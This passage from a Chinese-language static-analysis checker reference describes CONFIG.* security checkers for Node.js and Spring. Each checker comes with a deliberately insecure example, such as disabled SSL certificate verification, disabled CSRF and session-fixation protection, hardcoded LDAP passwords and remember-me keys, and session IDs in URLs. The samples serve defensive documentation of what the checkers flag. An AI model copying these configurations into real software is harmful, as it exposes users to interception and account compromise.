CONFIG.MYSQL_SSL_VERIFY_DISABLED 查找 MySQL 连接被配置为不验证 SSL 证书的有效性而连接接受无效证书的情况；这可能会允许中间人攻击和敏感数据泄露。

该检查器不标记忽略 `rejectUnauthorized` 标志的情况，因为默认值安全。



Note

如果在应用服务器和数据库之间的内部网络连接上配置 SSL，则使用自签名证书是常见做法，因为在内部网络上伪造证书的风险为可接受的低水平。因此，在 MySQL 模块配置中可以有意关闭 SSL 证书的验证。在这些情况下，检查器会报告该问题，尽管从业务角度来看，它是误报。

CONFIG.MYSQL_SSL_VERIFY_DISABLED 在默认情况下处于禁用状态。要启用它，您可以使用 cov-analyze 命令的 `--enable` 或 `--enable-audit-mode` 标志。

4.76.2. 示例

本部分提供了一个或多个 CONFIG.MYSQL_SSL_VERIFY_DISABLED 示例。

在下面的示例中，CONFIG.MYSQL_SSL_VERIFY_DISABLED 将查找初始化 connection 的语句的缺陷。

```
var mysql = require('mysql');

var connection = mysql.createConnection({
  host : 'localhost',
  ssl  : {
    rejectUnauthorized: false
  }
});
```

4.77. CONFIG.REQUEST_STRICTSSL_DISABLED

安全检查器

4.77.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.REQUEST_STRICTSSL_DISABLED 查找请求模块通过 SSL 信道进行调用并禁用 SSL 证书验证的情况。在这种情况下，当应用程序使用流氓证书加载资源时，有可能发生中间人攻击。

Node 模块 request 有一个名为 strictSSL 的选项，用于启用或禁用证书的有效性检查。默认情况下，strictSSL 被设置为 true，并且 SSL 证书必须有效。当 strictSSL 被设置为 false 时，应用程序可以使用流氓证书信任资源，从而使中间人攻击成为可能。



Note

在某些情况下，禁用证书检查可能是可以接受的，例如，在使用自签名证书的内部网络连接上。

为了保护 HTTP 请求，确保始终验证 SSL 证书，方法是将 strictSSL 选项设置为 true，或者完全忽略此属性，因为默认值是安全的。

默认禁用：CONFIG.REQUEST_STRICTSSL_DISABLED 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

您也可以通过启用审计模式启用此检查器。

4.77.2. 示例

本部分提供了一个或多个 CONFIG.REQUEST_STRICTSSL_DISABLED 示例。

在下面的示例中，针对调用 request 方法的语句显示 CONFIG.REQUEST_STRICTSSL_DISABLED 缺陷。

```
var request = require('request');
```

```
request('https://example.com/login/login.htm',
{
  strictSSL: false,
  followRedirect: false,
  removeRefererHeader: true
}, function (error, response, body) {
  ...
});
```

4.78. CONFIG.SEQUELIZE_ENABLED_LOGGING

安全检查器

4.78.1. 概述

支持的语言：. JavaScript

CONFIG.SEQUELIZE_ENABLED_LOGGING 可查找在启用日志记录的情况下创建 `sequelize` 连接的情况。在这种情况下，SQL 查询将被记录到控制台，并可能泄露敏感数据，因为在部署应用程序时控制台输出通常会流到日志文件中。

要纠正该缺陷，请关闭日志记录，方法为将 `logging` 设置为 `false`，或使用自定义函数来筛选敏感数据并在写入日志文件之前掩盖敏感数据。

Node 模块 `sequelize` 在构造函数中的 `options` 参数中具有日志记录字段，默认为 `console.log`。CONFIG.SEQUELIZE_ENABLED_LOGGING 检查器标记了以下实例：

- `logging` 属性被显式设置为 `true`。
- `logging` 属性被忽略（并且使用了其默认值 `true`）。

未标记以下实例：

- `logging` 属性被设置为匿名函数。
- `logging` 属性被设置为全局定义的函数。

也就是说，如果 `logging` 被配置为使用匿名函数或全局函数，则检查器不会分析函数做了什么。

默认禁用：CONFIG.SEQUELIZE_ENABLED_LOGGING 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SEQUELIZE_ENABLED_LOGGING 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.78.2. 示例

本部分提供了一个或多个 CONFIG.SEQUELIZE_ENABLED_LOGGING 示例。

在下面的示例中，针对将 `logging` 设置为 `true` 的语句返回缺陷。

```

var Sequelize = require('sequelize');
// ...

var sequelize = new Sequelize(DB_NAME, DB_USERNAME, DB_PASSWORD, {
  host: 'localhost',
  dialect: 'mysql',
  // enabled logging, defaults to console.log
  logging: true
});

```

4.78.3. 事件

本部分描述了 CONFIG.SEQUELIZE_ENABLED_LOGGING 检查器生成的一个或多个事件。

- MainEvent - Sequelize 实例的配置，包含不安全的日志设置。
- Remediation - 提供有关如何通过正确配置 Sequelize 实例来解决缺陷的建议。

4.79. CONFIG.SEQUELIZE_INSECURE_CONNECTION 安全检查器

4.79.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.SEQUELIZE_INSECURE_CONNECTION 查找在不使用 SSL 时创建 Sequelize 连接的情况。在此类情况下，SQL 查询的所有数据都通过不安全的信道传递，可以被窃听。



Note

不是每个应用程序都需要数据库与应用程序服务器之间的 SSL 连接。如果两者都部署在同一个物理服务器上，如果两者都位于网络的安全段中，或者如果通信通过 SSL 通道进行，则不需要通过 sequelize 配置安全连接。然而，这一知识超出了源代码的范围。

默认禁用： CONFIG.SEQUELIZE_INSECURE_CONNECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SEQUELIZE_INSECURE_CONNECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.79.2. 示例

本部分提供了一个或多个 CONFIG.SEQUELIZE_INSECURE_CONNECTION 示例。

在下面的示例中，针对 Sequelize 对象的初始化显示缺陷。

```

var Sequelize = require('sequelize');

var sequelize = new Sequelize(DB_NAME, DB_USERNAME, DB_PASSWORD, {
  host: 'localhost',

```

```
dialect: 'mysql',
dialectOptions: { ssl: false },
});
```

4.80. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE 安全检查器

4.80.1. 概述

支持的语言：. JavaScript、TypeScript

`CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 查找使用太大的缓冲区大小创建 Socket.IO 服务器的情况。在这些情况下，当向服务器发送非常长的消息以轮询其他数据时，拒绝服务攻击是可能的。

`CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 检查器标记 `maxHttpBufferSize` 属性被显式设置为大于默认值 (0x100000000) 的值的情况。

`CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 检查器不标记忽略 `maxHttpBufferSize` 属性的情况，因为默认设置安全。



Note

当缓冲区被设置为大于非常特定的数字 - 0x10E7 时，此检查器将显示缺陷。但是，确定缓冲区的大小是否太大应取决于服务器硬件配置。因此，此检查器可能会标记一些误报。

如果 `options` 来自外部文件，则该检查器无法使用 `require` 计算它们的值。该检查器将假设使用安全默认值，并且不会报告问题，即使文件实际上包含不安全的 `maxHttpBufferSize` 值，从而导致漏报。

如果 `options` 是函数的结果，则该检查器无法计算它们的值。该检查器将假设使用安全默认值，并且不会报告问题，即使函数返回包含不安全值 `maxHttpBufferSize` 的 `options` 对象，从而导致漏报。

默认禁用：`CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.80.2. 示例

本部分提供了一个或多个 `CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE` 示例。

在下面的示例中，针对初始化 `Socket.IO` 服务器的语句显示

```
CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE 缺陷。
```

```
var server = require('http').createServer(app);
// Create a Socket.io server
```

```
var io = new (require('socket.io'))(server, {
  'origins': 'chat.demo.com:3000',
  maxHttpBufferSize: 0xFFFFFFFF
});
```

4.81. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED

安全检查器

4.81.1. 概述

支持的语言：. Java

CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED 检查器查找在 Spring Boot 应用程序的配置文件中启用管理功能的情况。

CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED 默认禁用。它可以通过 --webapp-security 启用。

4.81.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED 示例。

在下面的示例中，针对在 .properties 文件中将 spring.application.admin.enabled 设置为 true，显示了 CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED 缺陷。

```
spring.application.name=JabaKardex
spring.application.admin.enabled=true #defect here
```

4.82. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING

安全检查器

4.82.1. 概述

支持的语言：. Java

CONFIG.SPRING_BOOT_SENSITIVE_LOGGING 检查器查找将 Spring Boot 应用程序配置为记录请求 cookie 或 HTTP 请求详细信息的情况。注意，可以通过几种不同的方式启用日志记录。请求 cookie 和 HTTP 请求详细信息可能包含敏感信息，因此不应记录。

CONFIG.SPRING_BOOT_SENSITIVE_LOGGING 检查器默认禁用。您可以使用 cov_analyze 命令的 --webapp-security 选项启用它。

4.82.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_BOOT_SENSITIVE_LOGGING 示例。

在下面的示例中，如果在 .properties 文件中将 log-cookies 属性设置为 true，将显示 CONFIG.SPRING_BOOT_SENSITIVE_LOGGING 缺陷。

```
server.port=8080
server.error.path=/error
server.http2.enabled=false
server.max-http-header-size=8KB

server.jetty.accesslog.time-zone=UTC
server.jetty.accesslog.date-format=yyyy-MM-dd HH:mm:ss Z
server.jetty.accesslog.log-cookies=true # defect here
server.jetty.accesslog.log-latency=false
server.jetty.accesslog.log-server=false
```

4.83. CONFIG.SPRING_BOOT_SSL_DISABLED

安全检查器

4.83.1. 概述

支持的语言 : . Java

CONFIG.SPRING_BOOT_SSL_DISABLED 检查器查找在 Spring Boot 应用程序的配置文件中禁用 SSL 的情况。

CONFIG.SPRING_BOOT_SSL_DISABLED 检查器默认禁用。它可以通过 --webapp-security 选项启用。

4.83.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_BOOT_SSL_DISABLED 示例。

在下面的示例中，如果在 .properties 文件中将 spring.data.cassandra.ssl 设置为 false，将显示 CONFIG.SPRING_BOOT_SSL_DISABLED 缺陷。

```
server.port=8082
server.servlet.context-path=/spring-boot-rest

server.compression.enabled=true
server.compression.min-response-size=512B

spring.data.cassandra.ssl=false      #defect here
```

4.83.3. 缺陷剖析

这部分描述了 CONFIG.SPRING_BOOT_SSL_DISABLED 检查器的缺陷信息。

- spring_boot_ssl_disabled

影响：低

Spring Boot 应用程序被配置为禁用 SSL。Local 作用：敏感数据通过不安全的通信通道传输，并且可以被攻击者读取和修改。

修复：

- 通过将 `spring.couchbase.env.ssl.enabled` 设置为 `true` 启用 SSL，或忽略它，因为默认值为 `true`。
- 通过将 `server.ssl.enabled` 设置为 `true` 启用 SSL，或忽略它，因为默认值为 `true`。
- 通过将 `management.server.ssl.enabled` 设置为 `true` 启用 SSL，或忽略它，因为默认值为 `true`。
- 通过将 `spring.data.cassandra.ssl` 设置为 `true` 显式启用 SSL。
- 通过将 `spring.data.elasticsearch.client.reactive.use-ssl` 设置为 `true` 显式启用 SSL。
- 通过将 `spring.redis.ssl` 设置为 `true` 显式启用 SSL。
- 通过将 `spring.rabbitmq.ssl` 已启用设置为 `true` 显式启用 SSL。
- `spring_boot_certificate_validation_skipped`

影响：低

该应用程序跳过证书验证。

本地作用：跳过证书验证会导致流氓证书在任何证书颁发机构都无法验证其签名时不会被拒绝，从而导致不安全的连接和中间人攻击。

修复：

- 通过将 `management.cloudfoundry.skip-ssl-validation` 设置为 `false` 启用证书验证，或忽略它，因为默认值为 `false`。

4.84. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED 安全检查器

4.84.1. 概述

支持的语言：. Java

`CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` 检查器标记显式禁用 Spring Security 跨站点请求伪造 (CSRF) 保护的情况。对于不是严格只读的所有应用程序，建议启用 CSRF 保护。

`CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` 检查器默认禁用。它通过 `--webapp-security` 选项启用。

4.84.2. 示例

本部分提供了一个或多个 `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` 示例。

在下面的示例中，通过在类 `CsrfConfigurer` 的 `csrf` 变量上调用 `disable()` 函数来禁用 Spring Security CSRF 保护显示了 `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` 缺陷。

```
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import
org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

public class SecurityConfigPositive extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf.disable()); //defect here
    }
}
```

4.84.3. 缺陷剖析

这部分描述了 `CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED` 检查器的缺陷信息。

影响：中等

描述：禁用了 Spring Security CSRF 保护。

局部影响：攻击者可能会诱骗客户端向 Web 服务器发出无意的请求，该请求将被视为真实请求。如果禁用 CSRF 保护，则可能会导致意外执行敏感功能或导致数据泄露。

补救措施：通过忽略对 `disable()` 的调用来启用 Spring Security CSRF 保护。

通过将节点 `csrf` 中的属性 `disabled` 设置为 `false` 来启用 Spring Security CSRF 保护，或忽略它，因为默认值为 `false`。

4.85. CONFIG.SPRING_SECURITY_DEBUG_MODE

安全检查器

4.85.1. 概述

支持的语言：. Java

此 `CONFIG.SPRING_SECURITY_DEBUG_MODE` 检查器可查找启用 Spring Security 调试模式的情况。在调试模式下，Sprint Security 将在服务器上记录额外信息，其中一些信息可能很敏感，因此不应记录。注意，可以通过几种不同的方式启用调试模式。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 `cov-emit-java --war`（与 `--webapp-archive` 相同）或以下选项之一发出配置：`--findwars`、`--findwars-unpacked`、`--findears` 或 `--findears-unpacked`。

默认禁用：`CONFIG.SPRING_SECURITY_DEBUG_MODE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `CONFIG.SPRING_SECURITY_DEBUG_MODE` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.85.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_DEBUG_MODE 示例。

下面的 Spring Security 配置说明设置了调试标志。

```
<beans:beans xmlns="http://www.springframework.org/schema/security"
    xmlns:beans="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/security
        http://www.springframework.org/schema/security/spring-security.xsd">
    <debug /> <!-- // A defect is reported here -->
    <global-method-security pre-post-annotations="enabled" />
    ...
</beans:beans>
```

在下面的示例中，针对将 DebugFilter() 的实例添加到 filterChainProxy 的情况显示 CONFIG.SPRING_SECURITY_DEBUG_MODE 缺陷。

```
package com.springframework.security.tests;

import java.util.ArrayList;
import java.util.List;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.FilterChainProxy;
import org.springframework.security.web.debug.DebugFilter;

public class Test1
{
    public void bad() {
        List<SecurityFilterChain> securityFilterChains = new
        ArrayList<SecurityFilterChain>(10);
        FilterChainProxy filterChainProxy = new
        FilterChainProxy(securityFilterChains);
        Object result = filterChainProxy;
        result = new DebugFilter(filterChainProxy);    //defect here
    }
}
```

4.86. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 安全检查器

4.86.1. 概述

支持的语言：. Java

CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 检查器查找显式启用 X-XSS-Protection 头文件的情况。安全头文件 X-XSS-Protection: 1; mode=block 设置为很快被废弃，因为此安全头文

件很容易绕过。实质上，应该移除 X-XSS-Protection，以使用强内容安全策略 (CSP)，该策略禁止使用内联 JavaScript 并保护应用程序免受 XSS 攻击。

CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 检查器默认禁用。它仅在审计模式下启用。

4.86.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 示例。

在下面的示例中，如果将 CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 函数设置为 true，将显示 CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER 缺陷，因为安全头文件 X-XSS-Protection 很容易绕过并设置为即将废弃。建议您使用强内容安全策略，该策略禁止使用内联 JavaScript 而非 X-XSS-Protection 头文件。

```
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

public class XssProtectionCustomConfig extends
WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.headers().defaultsDisabled().xssProtection().xssProtectionEnabled(true); // defect here
    }
}
```

4.87. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 安全检查器

4.87.1. 概述

支持的语言：. Java

CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 查找 Spring Security 配置显式禁用授权 JSP 标记所产生影响的情况。如果设置了属性 spring.security.disableUISecurity，则不会对用户隐藏授权标记的内容。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.87.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 示例。

下面的配置集禁用了 Spring UI Security :

```
spring.security.disableUISecurity = true
```

禁用 Spring UI Security 允许对任何用户显示以下 authorize JSP 标记的内容。

```
<%@ taglib prefix="sec" uri="http://www.springframework.org/security/tags" %>

<sec:authorize access="hasRole('supervisor')">
    Should only be visible to supervisors: ${secret_info}
</sec:authorize>
```

4.87.3. 事件

本部分描述了 CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.88. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID

安全检查器

4.88.1. 概述

支持的语言 : . Java

Spring Security 框架允许在 URL 中使用会话 ID 进行会话跟踪，从而将会话 ID 暴露给攻击者，因为它可能通过代理日志、Web 服务器日志、Referer 头文件和其他方式泄露。 CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID 检查器查找将会话 ID 配置为添加到 Spring Security 应用程序中的 URL 的情况。

CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

4.88.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID 示例。

在下面的示例中，针对使用 ServletContext 类实例上的 URL 参数的 setSessionTrackingModes() 函数调用，显示 CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID 缺陷。

```
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.SessionTrackingMode;
```

```
import javax.servlet.annotation.WebListener;
import java.util.EnumSet;

@WebListener
public class SessionTrackingModeSetter implements ServletContextListener {

    @Override
    public void contextInitialized (ServletContextEvent event) {
        event.getServletContext()
            .setSessionTrackingModes(EnumSet.of(SessionTrackingMode.URL)); //defect
    }

    @Override
    public void contextDestroyed (ServletContextEvent sce) {
    }
}
```

在下面的示例中，针对 XML 部署描述符中设置为 false 的 security:http XML 节点的 disable-url-rewriting 属性，显示 CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID 缺陷。

```
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:util="http://www.springframework.org/schema/util"
       xmlns:security="http://www.springframework.org/schema/security"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-
                           beans-4.3.xsd
                           http://www.springframework.org/schema/util
                           http://www.springframework.org/schema/util/spring-
                           util-2.5.xsd
                           http://www.springframework.org/schema/security
                           http://www.springframework.org/schema/security/spring-
                           security-4.2.xsd">
    <security:http pattern="/service/import/**" entry-point-
ref="servicesAuthenticationEntryPoint"
        auto-config="false" create-session="stateless" authentication-manager-
ref="servicesAuthenticationManager"
        use-expressions="false" disable-url-rewriting="false"><!-- defect here
-->
    <security:csrf disabled="true"/>
    <security:custom-filter position="FORM_LOGIN_FILTER"
ref="servicesAuthenticationProcessingFilter"/>
    <security:intercept-url pattern="/service/import/**"
        access="ROLE_CUSTOMER,ROLE_ADMIN" />
    <security:logout logout-url="/logout"/>

</security:http>
</beans>
```

4.89. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS

安全检查器

4.89.1. 概述

支持的语言 : . Java

CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS 查找凭证在 Spring Security 配置中采用硬编码的情况。该检查器目前可检查验证管理器和 Spring Security 提供的不同 LDAP 配置，以查找硬编码凭证情况。硬编码凭证很容易被遗忘，可能使应用程序留下后门。在这些情况下，即使凭证在源代码中未采用硬编码，最佳做法也是将其外部化为属性文件等。

先决条件 : . 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.89.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS 示例。

下面的示例说明了使用硬编码凭证的 LDAP 服务器配置。

```
<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:s="http://www.springframework.org/schema/security"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/security
        http://www.springframework.org/schema/security/spring-security.xsd">
    ...
    <bean xml:id="contextSource"
        class="org.springframework.security.ldap.DefaultSpringSecurityContextSource">
        <constructor-arg value="ldap://example.com:389/
            ou=mydepartment,o=mycompany,dc=com" />
        <property name="userDn"
            value="uid=myUser,ou=Users,ou=mydepartment,o=mycompany,dc=ca" />
        <property name="password" value="myPassword" /> <!-- Defect here. -->
    </bean>
    ...
</beans>
```

4.89.3. 事件

本部分描述了 CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.90. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP 安全检查器

4.90.1. 概述

支持的语言 : . Java

CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP 检查器查找不强制通过 HTTPS 访问 org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint 类的登录表单的情况。

CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP 检查器默认禁用；可以在审计模式下启用它。

4.90.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP 示例。

在下面的示例中，针对实例化 LoginUrlAuthenticationEntryPoint 显示 CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP 缺陷，因为相对 URL 用于登录 URL (URL_LOGIN_FORM)，并且未调用函数 setForceHttps(true) 强制通过 HTTPS 进行访问。

```
package HttpAccessLoginForm.Test;

import
org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;

public class HttpAccessLoginForm {
    public void initializeFromConfig() {

        String URL_LOGIN_FORM =
            "/web/wicket/bookmarkable/org.geoserver.web.GeoServerLoginPage?
error=false";

        LoginUrlAuthenticationEntryPoint aep = new
LoginUrlAuthenticationEntryPoint(URL_LOGIN_FORM); //defect here
        aep.afterPropertiesSet();
        return;
    }
}
```

4.91. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY 安全检查器

4.91.1. 概述

支持的语言 : . Java

CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY 查找将 Spring Security `TokenBasedRememberMeServices` 属性配置为使用硬编码密钥的情况。使用此类硬编码 `remember-me` 密钥的严重性大部分取决于应用程序的部署模式。如果应用程序打算使用多个实例用于不同目的，则这些实例应使用不同的 `remember-me` 密钥。

先决条件 : . 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 `cov-emit-java --war`（与 `--webapp-archive` 相同）或以下选项之一发出配置：`--findwars`、`--findwars-unpacked`、`--findears` 或 `--findears-unpacked`。

默认禁用 : `CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用 : 要启用

`CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.91.2. 示例

本部分提供了一个或多个 `CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY` 示例。

下面的 Spring Security 配置表明使用了 hardcoded `remember-me` 密钥。

```
<beans:beans
    xmlns="http://www.springframework.org/schema/security"
    xmlns:beans="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/security
        http://www.springframework.org/schema/security/spring-security.xsd">

    <beans:bean id="rememberMeServices"
        class="org.springframework.security.web.authentication.
        rememberme.TokenBasedRememberMeServices">
        <beans:property name="someUserService" ref="SomeUserService"/>
        <beans:property name="key" value="hardcoded_key"/> <!-- Defect here. -->
    </beans:bean>
</beans:beans>
```

4.91.3. 事件

本部分描述了 `CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY` 检查器生成的一个或多个事件。

- `event` - (主要事件) 问题的位置。
- `remediation` - 关于修复问题的建议。

4.92. CONFIG.SPRING_SECURITY_SESSION_FIXATION

安全检查器

4.92.1. 概述

支持的语言 : . Java

CONFIG.SPRING_SECURITY_SESSION_FIXATION 查找显式禁用 Spring Security 会话定位缓解的情况。Spring Security 默认可预防会话定位攻击。禁用此类功能将会导致应用程序容易遭到会话定位攻击。

先决条件 : . 此检查器可针对非源代码文件 (例如配置) 运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war (与 --webapp-archive 相同) 或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.SPRING_SECURITY_SESSION_FIXATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.SPRING_SECURITY_SESSION_FIXATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.92.2. 示例

本部分提供了一个或多个 CONFIG.SPRING_SECURITY_SESSION_FIXATION 示例。

下面的 Spring Security 配置说明 session-fixation-protection 已禁用。

```
<beans:beans xmlns="http://www.springframework.org/schema/security"
    xmlns:beans="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/security
        http://www.springframework.org/schema/security/spring-security.xsd">

    <http use-expressions="true">
        <logout logout-success-url="/signout.jsp" delete-cookies="JSESSIONID"/>

        <session-management invalid-session-url="/timeout.jsp"
            session-fixation-protection="none">
            <concurrency-control max-sessions="1" error-if-maximum-exceeded="true" />
        </session-management>
    </http>
    ...
</beans:beans>
```

在下面的示例中，通过调用 sessionFixation().none() 函数来禁用 Spring Security 会话定位保护，显示了 CONFIG.SPRING_SECURITY_SESSION_FIXATION 缺陷。

```
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
```

```

import
org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import
org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;

public class SessionFixationProtectionConfigPositive extends
WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .sessionManagement()
            .sessionFixation().none() //defect here
            .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
            .invalidSessionUrl("/invalidSession.html")
            .maximumSessions(2)
            .expiredUrl("/sessionExpired.html");
    }
}

```

4.92.3. 事件

本部分描述了 CONFIG.SPRING_SECURITY_SESSION_FIXATION 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.93. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER 安全检查器

4.93.1. 概述

支持的语言 :. Java

